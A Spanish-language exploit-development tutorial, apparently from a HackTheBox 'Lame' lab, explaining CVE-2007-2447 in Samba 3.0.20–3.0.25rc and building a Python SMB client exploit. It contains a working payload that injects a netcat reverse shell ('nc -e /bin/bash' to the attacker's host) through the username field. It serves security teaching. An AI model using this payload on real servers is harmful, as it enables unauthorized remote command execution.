
Implementación educativa de exploit para la vulnerabilidad CVE-2007-2447 de ejecución de comandos en el script de mapeo de nombres de usuario en Samba 3.0.20-3.0.25rc con payload de cliente SMB Python y reverse shell con netcat.
Exploit original: https://www.exploit-db.com/exploits/16320
Nombre del exploit: Samba username map script RCE
CVE: 2007-2447
Laboratorio: Lame - HackTheBox
Existe una vulnerabilidad en versiones de Samba anteriores a 3.0.25 que permite a un atacante ejecutar comandos del sistema enviando una solicitud malformada como nombre de usuario al servidor SMB.
Aquí hay un ejemplo de uso del comando nohup para crear un directorio:

En términos de programación, /= significa operador de división y asignación, usualmente usado en bucles. Pero, ¿por qué necesitamos usarlo aquí?
La razón para usarlo es dividir el campo de dominio y el campo de nombre de usuario al enviar la solicitud; se puede encontrar una mejor explicación aquí.
Usamos el campo de nombre de usuario para abrir una conexión netcat y conectarnos a nuestro servidor.
Escribir el exploit es muy fácil porque ya existe una librería de Cliente SMB disponible para Python (instala el paquete python3-samba), así que todo lo que tienes que hacer es usarlo así:
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
Entendamos cómo funciona SMBConnection, proporcioné el username pero ¿qué son las otras 3 cadenas vacías?
Esos otros 3 argumentos son: password, my_name y remote_name
Con el propósito de hacer nuestro exploit fácil de leer, podemos escribirlos explícitamente junto con sus valores, pero los valores para los argumentos después de username no son necesarios:
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
La siguiente parte es más fácil de entender: usamos la instancia de la clase SMBConnection para hacer una conexión y proporcionamos la IP del objetivo, el puerto y un número de tiempo de espera en segundos:
conn.connect(rhost, rport, timeout=10)
En esta sesión de desarrollo de exploits aprendiste sobre la creación de un cliente SMB y la conexión a un servidor SMB. También aprendiste sobre comandos de Linux como nohup con los que puedes experimentar más adelante. Aprendiste sobre la conexión desde la máquina víctima a tu máquina atacante usando netcat, algo que puede ser útil en tu viaje de desarrollo de exploits.